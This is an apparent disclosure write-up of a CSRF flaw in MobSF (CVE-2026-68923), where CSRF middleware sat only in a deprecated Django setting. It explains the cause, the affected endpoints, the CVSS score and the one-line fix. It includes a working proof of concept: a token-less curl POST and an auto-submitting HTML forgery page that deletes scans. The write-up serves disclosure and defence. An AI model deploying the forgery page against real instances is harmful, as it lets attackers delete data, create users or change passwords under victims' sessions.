# A CSRF Fix That Stopped Running: CVE-2026-68923 in MobSF

A defender reads a settings file and sees the controls that are declared. An attacker reads the same file and asks a quieter question: *which of these declarations is actually wired into the request path, and which one is just sitting there looking reassuring?*

That gap — between a control that is written down and a control that actually runs — is the whole of CVE-2026-68923.

## The target

[MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) (Mobile Security Framework) is a widely used tool for static and dynamic analysis of mobile apps. It's a Django application, and like most Django apps it leans on middleware to enforce cross-cutting protections — sessions, authentication, and, critically here, CSRF.

## The assumption that broke

Django used to register middleware in a tuple called `MIDDLEWARE_CLASSES`. Since Django 2.0 that setting has been ignored; the framework reads `MIDDLEWARE` instead. A project that migrated across that boundary and left a protection behind in the old tuple would *look* protected on a casual read — the line is right there — while the framework silently skips it.

In MobSF's `mobsf/MobSF/settings.py`, the active `MIDDLEWARE` tuple looked like this:

```python
MIDDLEWARE = (
    'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    # MISSING: 'django.middleware.csrf.CsrfViewMiddleware'
)
```

`CsrfViewMiddleware` was configured only in the deprecated `MIDDLEWARE_CLASSES` setting. The result: authenticated POST endpoints accepted requests without any CSRF token validation. The control was present in the codebase's history and absent from the codebase's behavior.

## Walking the path

The cleanest way to prove a CSRF gap is to make the request succeed without a token. Against a locally running instance with a valid session cookie, a state-changing POST goes through on its own:

```bash
curl -s -b cookies.txt -X POST "http://127.0.0.1:8000/delete_scan/" \
    -d "md5=68e76627798d62555d5287f4488a32c7&scan_type=apk"
{"deleted": "yes"}
```

No `X-CSRFToken` header, no hidden form token — the server deletes the scan anyway. That's the signature of CSRF middleware that isn't in the chain.

From there, the classic forgery delivery is a page the victim is lured into opening while logged in:

```html
<!DOCTYPE html>
<html>
<head><title>Innocent Page</title></head>
<body>
<h1>Loading...</h1>
<form id="f" method="POST" action="http://127.0.0.1:8000/delete_scan/">
  <input type="hidden" name="md5" value="PUT_REAL_MD5_HASH_HERE" />
  <input type="hidden" name="scan_type" value="apk" />
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>
```

The victim's browser attaches their session cookie, the form auto-submits, and the action executes under their identity.

## What it actually affected

Every authenticated destructive POST endpoint shared the gap:

*   `/delete_scan/`
    
*   `/upload/`
    
*   `/download_scan/`
    
*   `/change_password/`
    
*   `/create_user/`
    
*   `/delete_user/`
    

The precondition is honest and worth stating plainly: the attacker needs a *logged-in* victim to visit an attacker-controlled page. CSRF is not a bypass of authentication — it's a way to ride someone else's authenticated session. That's why this landed as Moderate (CVSS 6.5, `AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N`): no confidentiality loss, but integrity impact through actions the user never intended, gated on user interaction.

## The fix

One line, in the setting the framework actually reads:

```python
MIDDLEWARE = (
    ...
    'django.middleware.csrf.CsrfViewMiddleware',
)
```

Fixed in MobSF **4.5.1**.

## The lesson

Deprecations are a security surface. When a framework stops reading a setting, it rarely shouts about it — the old config keeps sitting in the file, and a reviewer scanning for "is CSRF configured?" finds the string and moves on. The attacker's edge here wasn't a clever payload; it was refusing to trust that a declared control was a running one, and spending one `curl` to check.

If you maintain a Django app that has crossed a major-version boundary, grep for `MIDDLEWARE_CLASSES`. Anything protective still living only there is decoration.

* * *

**Disclosure**

*   Reported by [@ya3raj](https://github.com/ya3raj); published by [@ajinabraham](https://github.com/ajinabraham).
    

Advisory: [GHSA-3p54-567p-2wpr](https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-3p54-567p-2wpr) · CVE-2026-68923

*   Fix: [PR #2627](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627), commit `62563ca`, [release v4.5.1](https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1)
